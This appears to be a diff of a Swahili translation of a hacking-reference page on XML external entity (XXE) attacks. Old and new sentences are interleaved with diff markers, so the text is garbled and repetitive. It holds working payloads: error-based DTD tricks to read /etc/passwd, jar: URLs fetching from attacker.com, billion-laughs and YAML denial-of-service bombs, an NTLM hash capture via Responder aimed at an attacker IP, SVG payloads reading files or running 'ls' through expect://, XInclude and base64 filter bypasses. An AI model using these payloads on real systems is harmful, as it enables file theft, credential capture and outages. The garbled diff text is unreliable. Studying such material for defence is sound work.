_**Tafadhali kumbuka kuwa DTD ya nje inaruhusu kuweka kipengele kimoja ndani ya kingine (****`eval`****), lakini inakatazwa katika DTD ya ndani. Kwa hivyo, huwezi kulazimisha kosa bila kutumia DTD ya nje (kawaida).**_
|
||||
Hitilafu katika maelezo ya lugha ya XML inaweza **kufunua data nyeti kupitia ujumbe wa kosa wakati DTD ya hati inachanganya matamko ya ndani na ya nje**. Shida hii inaruhusu upya wa ndani wa viungo vilivyotangazwa kwa nje, kurahisisha utekelezaji wa mashambulizi ya XXE yanayotokana na kosa. Mashambulizi kama haya yanatumia upya wa kipengele cha parameter cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati mwingiliano wa nje wa mtandao unazuiliwa na seva, wadukuzi lazima wategemee faili za DTD za ndani kufanya shambulizi, wakilenga kusababisha kosa la upambanuzi wa kufunua habari nyeti.
|
||||
|
||||
### **Kosa Kulingana na (DTD ya mfumo)**
|
||||
|
||||
Kwa hivyo, ni nini kuhusu udhaifu wa XXE wa kipofu wakati **mwingiliano wa nje wa bandia umefungwa** (mawasiliano ya nje hayapatikani)?
|
||||
|
||||
Hitilafu katika maelezo ya lugha ya XML inaweza **kufichua data nyeti kupitia ujumbe wa kosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Shida hii inaruhusu upya wa ndani wa viumbe vilivyotangazwa kwa nje, kurahisisha utekelezaji wa mashambulio ya XXE yanayotegemea kosa. Mashambulio kama hayo yanatumia upya wa kipengele cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati mawasiliano ya nje ya bandia yanafungwa na seva, wadukuzi lazima wategemee faili za DTD za ndani kufanya shambulio, wakilenga kusababisha kosa la kuchambua ili kufichua habari nyeti.
|
||||
|
||||
Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikifafanua kipengele kinachoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la kuchambua XML linalofichua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya kipekee kama ifuatavyo:
|
||||
Fikiria hali ambapo mfumo wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikidefiniisha kipengele kinachoitwa `custom_entity`. Mshambuliaji anaweza kusababisha kosa la upambanuzi wa XML kufunua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya mchanganyiko kama ifuatavyo:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
|
@ -185,11 +169,11 @@ Fikiria hali ambapo mfumo wa faili wa seva una faili ya DTD katika `/usr/local/a
|
|||
```
|
||||
Hatua zilizoelezwa zinatekelezwa na DTD hii:
|
||||
|
||||
- Ufafanuzi wa kipengele cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa seva.
|
||||
- Ubadilishaji unatokea kwa kipengele cha XML cha `custom_entity`, kilichoelezwa awali katika DTD ya nje, ili kufunga [shambulio la XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ubadilishaji huu umebuniwa kusababisha kosa la uchambuzi, kuweka wazi maudhui ya faili ya `/etc/passwd`.
|
||||
- Kwa kutumia kipengele cha `local_dtd`, DTD ya nje inahusishwa, ikijumuisha `custom_entity` iliyofafanuliwa hivi karibuni. Mfululizo huu wa hatua unasababisha kutolewa kwa ujumbe wa kosa uliolengwa na shambulio.
|
||||
* Ufafanuzi wa kipengele cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa seva.
|
||||
* Ubadilishaji unatokea kwa kipengele cha XML cha `custom_entity`, kilichoelezwa awali katika DTD ya nje, ili kufunga [shambulio la XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ubadilishaji huu umepangwa kusababisha kosa la uparaganyaji, kufunua maudhui ya faili ya `/etc/passwd`.
|
||||
* Kwa kutumia kipengele cha `local_dtd`, DTD ya nje inatumika, ikijumuisha kipengele kilichofafanuliwa kwa mara ya kwanza cha `custom_entity`. Mfululizo huu wa hatua unasababisha kutolewa kwa ujumbe wa kosa uliolengwa na shambulio.
|
||||
|
||||
**Mfano halisi wa ulimwengu:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD kwenye `/usr/share/yelp/dtd/docbookx.dtd` ambayo ina kipengele kinachoitwa `ISOamso`.
|
||||
**Mfano wa ulimwengu wa kweli:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD kwenye `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kipengele kinachoitwa `ISOamso`
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
|
@ -204,24 +188,22 @@ Hatua zilizoelezwa zinatekelezwa na DTD hii:
|
|||
]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
![](<../.gitbook/assets/image (224).png>)
|
||||
|
||||
Kwa kuwa mbinu hii inatumia **internal DTD, kwanza unahitaji kupata moja inayofaa**. Unaweza kufanya hivi kwa **kusanikisha** mfumo wa **OS / Programu** ambayo seva inatumia na **kutafuta DTD za chaguo-msingi**, au **kupata orodha** ya **DTD za chaguo-msingi** ndani ya mifumo na **kuangalia** kama moja wapo ipo:
|
||||
Kwa kuwa mbinu hii inatumia **DTD ya ndani unahitaji kwanza kupata moja inayofaa**. Unaweza kufanya hivi **kwa kusakinisha** **OS / Programu** ile ile inayotumiwa na seva na **kutafuta DTD za msingi**, au **kupata orodha** ya **DTD za msingi** ndani ya mifumo na **kuangalia** kama moja kati yao ipo:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Kwa habari zaidi angalia [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
|
||||
Kwa maelezo zaidi angalia [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
### Kupata DTDs ndani ya mfumo
|
||||
|
||||
Katika repo ya github nzuri ifuatayo unaweza kupata **njia za DTDs zinazoweza kuwepo katika mfumo**:
|
||||
Katika repo ya github ya kushangaza ifuatayo unaweza kupata **njia za DTDs zinazoweza kuwepo katika mfumo**:
|
||||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
|
||||
Zaidi ya hayo, ikiwa una **picha ya Docker ya mfumo wa mwathirika**, unaweza kutumia zana ya repo hiyo hiyo kufanya **uchunguzi** wa **picha** na **kupata** njia za **DTDs** zilizopo ndani ya mfumo. Soma [Readme ya github](https://github.com/GoSecure/dtd-finder) ili kujifunza jinsi.
|
||||
Zaidi ya hayo, ikiwa una **picha ya Docker ya mfumo wa mwathiriwa**, unaweza kutumia zana ya repo hiyo hiyo kufanya **uchunguzi** wa **picha** na **kupata** njia za **DTDs** zilizopo ndani ya mfumo. Soma [Soma maelezo ya github](https://github.com/GoSecure/dtd-finder) kujifunza jinsi.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
|
@ -235,47 +217,46 @@ Testing 0 entities : []
|
|||
```
|
||||
### XXE kupitia Parsers za Office Open XML
|
||||
|
||||
Kwa maelezo zaidi kuhusu shambulio hili, **angalia sehemu ya pili ya [chapisho hili zuri](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) kutoka Detectify**.
|
||||
Kwa maelezo zaidi kuhusu shambulio hili, **angalia sehemu ya pili ya** [**chapisho hili la kushangaza**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **kutoka Detectify**.
|
||||
|
||||
Uwezo wa **kupakia hati za Microsoft Office unatolewa na programu nyingi za wavuti**, ambazo kisha hufanya kazi ya kuchambua maelezo fulani kutoka kwenye hati hizo. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuagiza data kwa kupakia karatasi ya muundo wa XLSX. Ili chombo cha kuchambua kiweze kuchukua data kutoka kwenye karatasi hiyo, bila shaka itahitaji kuchambua angalau faili moja ya XML.
|
||||
Uwezo wa **kupakia nyaraka za Microsoft Office unatolewa na programu nyingi za wavuti**, ambazo kisha hufanya kazi ya kutoa baadhi ya maelezo kutoka kwa nyaraka hizo. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuagiza data kwa kupakia karatasi ya muundo wa XLSX. Ili kipanganyaji uweze kutoa data kutoka kwa karatasi ya muundo huo, italazimika kuchambua angalau faili moja ya XML.
|
||||
|
||||
Ili kujaribu udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office inayojumuisha mzigo wa XXE**. Hatua ya kwanza ni kuunda saraka tupu ambapo hati hiyo itaweza kufunguliwa.
|
||||
Ili kufanya majaribio ya udhaifu huu, ni muhimu kuunda **faili ya Microsoft Office inayojumuisha mzigo wa XXE**. Hatua ya kwanza ni kuunda saraka tupu ambayo nyaraka inaweza kufunguliwa.
|
||||
|
||||
Baada ya hati kufunguliwa, faili ya XML iliyo katika njia `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa kwa kutumia mhariri wa maandishi unaopendelewa (kama vile vim). XML inapaswa kuhaririwa ili kuongeza mzigo wa XXE unaotaka, mara nyingi ukiwa na ombi la HTTP.
|
||||
Baada ya nyaraka kufunguliwa, faili ya XML iliyoko kwenye `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa kwa mhariri wa maandishi unaopendelewa (kama vile vim). XML inapaswa kuhaririwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ukiwa na ombi la HTTP.
|
||||
|
||||
Mistari iliyohaririwa ya XML inapaswa kuwekwa kati ya vitu viwili vya msingi vya XML. Ni muhimu kubadilisha URL na URL inayoweza kufuatiliwa kwa ombi.
|
||||
Mistari iliyohaririwa ya XML inapaswa kuwekwa kati ya vitu viwili vya mizizi ya XML. Ni muhimu kubadilisha URL na URL inayoweza kufuatiliwa kwa maombi.
|
||||
|
||||
Hatimaye, faili inaweza kufungwa kwa kuunda faili ya hati yenye nia mbaya poc.docx. Kutoka kwenye saraka iliyoundwa hapo awali "unzipped", amri ifuatayo inapaswa kutekelezwa:
|
||||
|
||||
Sasa, faili iliyoundwa inaweza kupakiwa kwenye programu ya wavuti inayoweza kuwa na udhaifu, na mtu anaweza kutumaini kuona ombi katika magogo ya Burp Collaborator.
|
||||
Hatimaye, faili inaweza kufungwa ili kuunda faili ya poc.docx yenye nia mbaya. Kutoka kwenye saraka iliyoundwa hapo awali "unzipped", amri ifuatayo inapaswa kutumika:
|
||||
|
||||
Sasa, faili iliyoundwa inaweza kupakiwa kwenye programu ya wavuti inayoweza kuwa na udhaifu, na mtu anaweza kutumaini ombi litatokea katika magogo ya Burp Collaborator.
|
||||
|
||||
### Itifaki ya Jar
|
||||
|
||||
Itifaki ya **jar** inapatikana kwa kipekee ndani ya **programu za Java**. Imetengenezwa ili kuwezesha ufikiaji wa faili ndani ya kiunzi cha **PKZIP** (k.m., `.zip`, `.jar`, n.k.), ikilenga faili za ndani na za mbali.
|
||||
Itifaki ya **jar** inapatikana kipekee ndani ya **programu za Java**. Imetengenezwa kuruhusu ufikiaji wa faili ndani ya kiunzi cha **PKZIP** (k.m., `.zip`, `.jar`, n.k.), ikilenga faili za ndani na za mbali.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Ili kuweza kupata faili ndani ya faili za PKZIP ni **muhimu sana kwa kutumia XXE kupitia faili za DTD za mfumo.** Angalia [sehemu hii ili kujifunza jinsi ya kutumia faili za DTD za mfumo](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
Ili kuweza kupata faili ndani ya faili za PKZIP ni **muhimu sana kwa kutumia XXE kupitia faili za DTD za mfumo.** Angalia [sehemu hii kujifunza jinsi ya kutumia faili za DTD za mfumo](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
{% endhint %}
|
||||
|
||||
Mchakato wa kupata faili ndani ya kumbukumbu ya PKZIP kupitia itifaki ya jar unahusisha hatua kadhaa:
|
||||
Mchakato wa kupata faili ndani ya kiwango cha PKZIP kupitia itifaki ya jar unajumuisha hatua kadhaa:
|
||||
|
||||
1. Ombi la HTTP linafanywa ili kupakua kumbukumbu ya zip kutoka eneo lililoelezwa, kama vile `https://download.website.com/archive.zip`.
|
||||
2. Jibu la HTTP lenye kumbukumbu linahifadhiwa kwa muda kwenye mfumo, kawaida katika eneo kama `/tmp/...`.
|
||||
3. Kumbukumbu inafunguliwa ili kupata maudhui yake.
|
||||
4. Faili maalum ndani ya kumbukumbu, `file.zip`, inasomwa.
|
||||
1. Ombi la HTTP linatolewa kupakua kiwango cha zip kutoka mahali maalum, kama vile `https://download.website.com/archive.zip`.
|
||||
2. Majibu ya HTTP yanayohusisha kiwango hicho hukusanywa kwa muda kwenye mfumo, kawaida kwenye eneo kama `/tmp/...`.
|
||||
3. Kiwango hicho kisha hukunjuliwa ili kupata maudhui yake.
|
||||
4. Faili maalum ndani ya kiwango hicho, `file.zip`, inasomwa.
|
||||
5. Baada ya operesheni, faili za muda zilizoundwa wakati wa mchakato huu zinafutwa.
|
||||
|
||||
Tekniki ya kuvuruga mchakato huu katika hatua ya pili inahusisha kuweka uhusiano wa seva wazi kwa muda usiojulikana wakati wa kutumikia faili ya kumbukumbu. Zana zilizopo kwenye [hifadhi hii](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) zinaweza kutumika kwa lengo hili, ikiwa ni pamoja na seva ya Python (`slow_http_server.py`) na seva ya Java (`slowserver.jar`).
|
||||
Mbinu ya kuvuruga mchakato huu katika hatua ya pili inajumuisha kuweka uhusiano wa seva ukiwa wazi milele wakati wa kutumikia faili ya kiwango. Zana zilizopo kwenye [hifadhi hii](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) zinaweza kutumika kwa madhumuni haya, ikiwa ni pamoja na seva ya Python (`slow_http_server.py`) na seva ya Java (`slowserver.jar`).
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Kuandika faili katika saraka ya muda inaweza kusaidia **kuongeza ukiukaji mwingine wa usalama unaohusisha kuvuka njia** (kama vile kuingiza faili za ndani, kuingiza templeti, RCE ya XSLT, deserialization, nk).
|
||||
Kuandika faili katika saraka ya muda inaweza kusaidia **kuongeza ukiukaji mwingine wa usalama unaohusisha upitishaji wa njia** (kama vile kuingiza faili za ndani, kuingiza templeti, XSLT RCE, uhariri wa data, nk).
|
||||
{% endhint %}
|
||||
|
||||
### XSS
|
||||
|
@ -284,25 +265,7 @@ Kuandika faili katika saraka ya muda inaweza kusaidia **kuongeza ukiukaji mwingi
|
|||
```
|
||||
### DoS
|
||||
|
||||
#### Shambulio la Mabilioni ya Kicheko
|
||||
|
||||
```html
|
||||
The Billion Laugh Attack is a type of Denial of Service (DoS) attack that targets XML parsers by exploiting the XML External Entity (XXE) vulnerability. This attack is named after the XML payload it uses, which consists of a small XML document containing a large number of nested entity references.
|
||||
|
||||
When an XML parser processes this payload, it expands the entity references recursively, resulting in exponential growth in memory consumption and CPU usage. This can overwhelm the target system, causing it to become unresponsive or crash.
|
||||
|
||||
To mitigate the Billion Laugh Attack, it is important to implement proper input validation and sanitization techniques when parsing XML input. Additionally, disabling external entity resolution or using a secure XML parser can help prevent this type of attack.
|
||||
|
||||
It is worth noting that the Billion Laugh Attack is just one example of how XXE vulnerabilities can be exploited. There are other variations and techniques that attackers can use to achieve similar results. Therefore, it is crucial to stay updated on the latest security practices and regularly patch any vulnerabilities in your systems.
|
||||
```
|
||||
|
||||
Shambulio la Mabilioni ya Kicheko ni aina ya shambulio la Kukataa Huduma (DoS) ambalo linalenga wapangaji wa XML kwa kuchexploit kosa la XML External Entity (XXE). Shambulio hili limepewa jina kulingana na mzigo wa XML unaoitumia, ambao una hati ndogo ya XML inayojumuisha idadi kubwa ya marejeo ya kifungu kilichojumuishwa.
|
||||
|
||||
Wakati mpangaji wa XML anapoprocess mzigo huu, inapanua marejeo ya kifungu kwa njia ya kurudia, ikisababisha ukuaji wa kihesabu katika matumizi ya kumbukumbu na utumiaji wa CPU. Hii inaweza kuzidi mfumo wa lengo, ikisababisha usiweze kujibu au kushindwa.
|
||||
|
||||
Ili kupunguza Shambulio la Mabilioni ya Kicheko, ni muhimu kutekeleza mbinu sahihi za ukaguzi na usafi wa pembejeo wakati wa kuchambua pembejeo za XML. Aidha, kuzima ufumbuzi wa kifungu cha nje au kutumia mpangaji salama wa XML kunaweza kusaidia kuzuia aina hii ya shambulio.
|
||||
|
||||
Ni muhimu kutambua kuwa Shambulio la Mabilioni ya Kicheko ni mfano mmoja tu wa jinsi kosa la XXE linaweza kuchexploit. Kuna mabadiliko na mbinu nyingine ambazo wadukuzi wanaweza kutumia kufikia matokeo sawa. Kwa hivyo, ni muhimu kusasisha mara kwa mara mazoea ya usalama na kusasisha mara kwa mara kasoro yoyote katika mifumo yako.
|
||||
#### Shambulizi la Bilioni ya Kicheko
|
||||
```xml
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY a0 "dos" >
|
||||
|
@ -313,19 +276,7 @@ Ni muhimu kutambua kuwa Shambulio la Mabilioni ya Kicheko ni mfano mmoja tu wa j
|
|||
]>
|
||||
<data>&a4;</data>
|
||||
```
|
||||
#### Shambulio la Yaml
|
||||
|
||||
Yaml ni muundo wa data unaotumiwa sana katika maombi ya wavuti. Shambulio la Yaml linaweza kutokea wakati maombi yanaruhusu kuingiza faili ya Yaml kutoka kwa mtumiaji bila kuzingatia usalama. Shambulio hili linaweza kusababisha kusoma au kutekeleza faili za mfumo zilizopo kwenye seva.
|
||||
|
||||
Kwa kufanya shambulio la Yaml, unaweza kutumia mbinu ya kuingiza kificho cha YAML ambacho kinaweza kusababisha kusoma au kutekeleza faili za mfumo. Kwa mfano, unaweza kutumia kificho cha YAML kama hiki:
|
||||
|
||||
```yaml
|
||||
!!python/object/apply:os.system ['ls']
|
||||
```
|
||||
|
||||
Katika mfano huu, tunatumia kificho cha YAML kutekeleza amri ya "ls" kwenye mfumo. Kwa kufanya hivyo, tunaweza kupata orodha ya faili zilizopo kwenye seva.
|
||||
|
||||
Ni muhimu kwa watengenezaji wa maombi kuhakikisha kuwa maingiliano ya Yaml yanafanywa kwa usalama na kuzuia uwezekano wa shambulio la Yaml. Hii inaweza kufanywa kwa kuchuja na kusafisha data ya Yaml kabla ya kuitumia kwenye maombi.
|
||||
#### Shambulizi la Yaml
|
||||
```xml
|
||||
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
|
||||
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
|
||||
|
@ -337,13 +288,13 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
|||
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||||
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
```
|
||||
#### Shambulizi la Kuongezeka kwa Namba za Mraba
|
||||
#### Shambulio la Kuongezeka kwa Kikwadratiki
|
||||
|
||||
![](<../.gitbook/assets/image (531).png>)
|
||||
|
||||
#### Kupata NTML
|
||||
|
||||
Kwenye mifumo ya Windows, inawezekana kupata hash ya NTML ya mtumiaji wa seva ya wavuti kwa kuweka kichwa cha responder.py:
|
||||
Kwenye mwenyeji wa Windows, inawezekana kupata hash ya NTML ya mtumiaji wa seva ya wavuti kwa kuweka kikokotozi.py handler:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
|
@ -353,53 +304,51 @@ na kwa kutuma ombi lifuatalo
|
|||
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
Kisha unaweza jaribu kuvunja hash kwa kutumia hashcat
|
||||
|
||||
## Nyuso za XXE Zilizofichwa
|
||||
## Vipande vya XXE Vilivyofichwa
|
||||
|
||||
### XInclude
|
||||
|
||||
Wakati wa kuunganisha data ya mteja katika hati za XML za upande wa seva, kama vile katika ombi za SOAP za nyuma, udhibiti moja kwa moja juu ya muundo wa XML mara nyingi ni mdogo, kuzuia mashambulizi ya kawaida ya XXE kutokana na vizuizi vya kubadilisha kipengele cha `DOCTYPE`. Walakini, shambulio la `XInclude` linatoa suluhisho kwa kuruhusu uingizaji wa vitengo vya nje ndani ya kipengele chochote cha data ya hati ya XML. Njia hii ni yenye ufanisi hata wakati sehemu tu ya data ndani ya hati ya XML iliyojengwa na seva inaweza kudhibitiwa.
|
||||
Wakati wa kuingiza data ya mteja katika nyaraka za XML upande wa seva, kama vile zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi ni mdogo, kuzuia mashambulizi ya kawaida ya XXE kutokana na vizuizi vya kuhariri kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` hutoa suluhisho kwa kuruhusu uingizaji wa vipande vya nje ndani ya kipengele chochote cha data ya nyaraka ya XML. Mbinu hii ni yenye ufanisi hata wakati sehemu tu ya data ndani ya nyaraka ya XML iliyozalishwa na seva inaweza kudhibitiwa.
|
||||
|
||||
Ili kutekeleza shambulio la `XInclude`, lazima itangazwe nafasi ya `XInclude`, na njia ya faili kwa kipengele cha nje kinachokusudiwa lazima itajwe. Hapa chini ni mfano mfupi wa jinsi shambulio kama hilo linaweza kuundwa:
|
||||
Ili kutekeleza shambulio la `XInclude`, jina la nafasi ya `XInclude` lazima itangazwe, na njia ya faili kwa kipengele cha nje kilichokusudiwa lazima itajwe. Hapa chini ni mfano wa kifupi jinsi shambulio kama hilo linavyoweza kuundwa:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
Angalia [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) kwa maelezo zaidi!
|
||||
|
||||
### SVG - Kuleta Faili
|
||||
### SVG - Kupakia Faili
|
||||
|
||||
Faili zilizopakiwa na watumiaji kwenye programu fulani, ambazo kisha hupitishwa kwenye seva, zinaweza kutumia udhaifu katika jinsi XML au muundo wa faili unaotumia XML unavyoshughulikiwa. Muundo wa faili maarufu kama hati za ofisi (DOCX) na picha (SVG) unategemea XML.
|
||||
Faili zilizopakiwa na watumiaji kwenye programu fulani, ambazo kisha hupitishwa kwenye seva, zinaweza kutumia udhaifu katika jinsi faili za XML au zinazoambatanisha XML zinavyoshughulikiwa. Miundo ya faili ya kawaida kama nyaraka za ofisi (DOCX) na picha (SVG) inategemea XML.
|
||||
|
||||
Wakati watumiaji **wanapakia picha**, picha hizi hupitishwa au kuhakikiwa kwenye seva. Hata kwa programu zinazotarajia muundo kama vile PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotumia XML, inaweza kutumiwa na wadukuzi kuwasilisha picha za SVG zenye nia mbaya, hivyo kuweka seva wazi kwa udhaifu wa XXE (XML External Entity).
|
||||
Wakati watumiaji **wanapopakia picha**, picha hizi hupitishwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia miundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na wachomaji wa kudhuru kuwasilisha picha za SVG zenye nia mbaya, hivyo kuweka seva wazi kwa udhaifu wa XXE (XML External Entity).
|
||||
|
||||
Mfano wa shambulio kama hilo unaweza kuonekana hapa chini, ambapo picha ya SVG yenye nia mbaya inajaribu kusoma faili za mfumo:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
Njia nyingine inahusisha kujaribu **kutekeleza amri** kupitia PHP "expect" wrapper:
|
||||
Metoda nyingine inahusisha kujaribu **kutekeleza amri** kupitia PHP "expect" wrapper:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
Katika hali zote mbili, muundo wa SVG hutumiwa kufanya mashambulizi yanayotumia uwezo wa usindikaji wa XML wa programu ya seva, ikisisitiza umuhimu wa ukaguzi wa kina wa data na hatua za usalama.
|
||||
Katika hali zote, muundo wa SVG hutumiwa kufanya mashambulizi yanayotumia uwezo wa usindikaji wa XML wa programu ya seva, ikisisitiza umuhimu wa ukaguzi thabiti wa data na hatua za usalama.
|
||||
|
||||
Angalia [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) kwa maelezo zaidi!
|
||||
|
||||
**Tafadhali kumbuka kuwa mstari wa kwanza wa faili iliyosomwa au ya matokeo ya utekelezaji utaonekana NDANI ya picha iliyoundwa na SVG. Kwa hivyo unahitaji kuweza kupata picha iliyoundwa na SVG.**
|
||||
**Tafadhali kumbuka kwamba mstari wa kwanza wa faili iliyosomwa au matokeo ya utekelezaji yataonekana NDANI ya picha iliyoundwa. Kwa hivyo, unahitaji kuweza kupata picha ambayo SVG imeunda.**
|
||||
|
||||
### **PDF - Kupakia faili**
|
||||
### **PDF - Kuleta faili**
|
||||
|
||||
Soma chapisho lifuatalo ili **kujifunza jinsi ya kutumia XXE kupakia faili ya PDF**:
|
||||
Soma chapisho lifuatalo kujifunza jinsi ya kutumia XXE kwa kupakia faili ya PDF:
|
||||
|
||||
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
|
||||
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Content-Type: Kutoka x-www-urlencoded hadi XML
|
||||
### Aina ya Yaliyomo: Kutoka x-www-urlencoded kwenda XML
|
||||
|
||||
Ikiwa ombi la POST linakubali data katika muundo wa XML, unaweza kujaribu kutumia XXE katika ombi hilo. Kwa mfano, ikiwa ombi la kawaida lina data ifuatayo:
|
||||
Ikiwa ombi la POST linakubali data katika muundo wa XML, unaweza jaribu kutumia XXE katika ombi hilo. Kwa mfano, ikiwa ombi la kawaida lina yafuatayo:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -407,7 +356,7 @@ Content-Length: 7
|
|||
|
||||
foo=bar
|
||||
```
|
||||
Kisha huenda ukaweza kuwasilisha ombi lifuatalo, na matokeo sawa:
|
||||
Kisha unaweza kuwasilisha ombi lifuatalo, na matokeo sawa:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
|
@ -415,9 +364,9 @@ Content-Length: 52
|
|||
|
||||
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
|
||||
```
|
||||
### Aina ya Yaliyomo: Kutoka JSON hadi XEE
|
||||
### Aina-ya-Yaliyomo: Kutoka JSON hadi XEE
|
||||
|
||||
Ili kubadilisha ombi, unaweza kutumia Kipengele cha Burp kinachoitwa "**Mbadala wa Aina ya Yaliyomo**". [Hapa](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) unaweza kupata mfano huu:
|
||||
Ili kubadilisha ombi unaweza kutumia Kifaa cha Burp kinachoitwa "**Mbadala wa Aina ya Yaliyomo**". [Hapa](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) unaweza kupata mfano huu:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
|
@ -447,17 +396,17 @@ Content-Type: application/xml;charset=UTF-8
|
|||
```
|
||||
Mfano mwingine unaweza kupatikana [hapa](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
|
||||
## WAF & Uvunjaji wa Ulinzi
|
||||
## WAF & Mipito ya Kinga
|
||||
|
||||
### Base64
|
||||
```xml
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||
```
|
||||
Hii inafanya kazi tu ikiwa seva ya XML inakubali itifaki ya `data://`.
|
||||
Hii inafanya kazi ikiwa seva ya XML inakubali itifaki ya `data://`.
|
||||
|
||||
### UTF-7
|
||||
|
||||
